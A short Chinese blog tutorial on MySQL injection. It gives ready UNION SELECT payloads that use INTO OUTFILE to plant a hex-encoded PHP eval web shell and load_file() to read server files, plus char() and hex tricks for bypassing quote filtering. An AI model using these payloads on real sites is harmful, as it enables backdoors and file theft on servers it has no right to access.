Sky's blog

sql注入—into outfile、load_file()

字数统计: 332阅读时长: 1 min
2017/08/28 Share

前言

两种方式都具有很大局限性,作为了解使用

into outfile

1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道

2:要有file权限,默认情况下只有root有

3:对目录要有写权限,一般image之类的存放突破的目录就有

如果存在以上条件,还可以注入,那么就可以用into outfile写文件
例如:
http://127.0.0.1/index.php?age=-1 union select 1,2,3,4,0x3c3f706870206576616c28245f504f53545b27736b79275d293f3e into outfile ‘H:/wamp64/www/233.php’
其中:

0x3c3f706870206576616c28245f504f53545b27736b79275d293f3e是hex编码的<?php eval($_POST[‘sky’])?>

写的文件名一定要是不存在的,不然就会不成功

load_file()

1、必须有权限读取并且文件必须完全可读
 
2、欲读取文件必须在服务器上

3、必须指定文件完整的路径

4、欲读取文件必须小于 max_allowed_packet

如果存在以上条件,还可以注入,那么就可以用load_file()读文件
例如:
http://127.0.0.1/index.php?age=-1 union select 1,2,3,4,load_file(‘H:/wamp64/www/233.php’)

一些技巧

对于magic_quotes_gpc = on的时候,会过滤引号
可以通过char,16进制等方式来绕过
例如:
-1 union select 1,2,3,4,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
-1 union select 1,2,3,4,load_file(0x633a2f626f6f742e696e69)

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. into outfile
  3. 3. load_file()
  4. 4. 一些技巧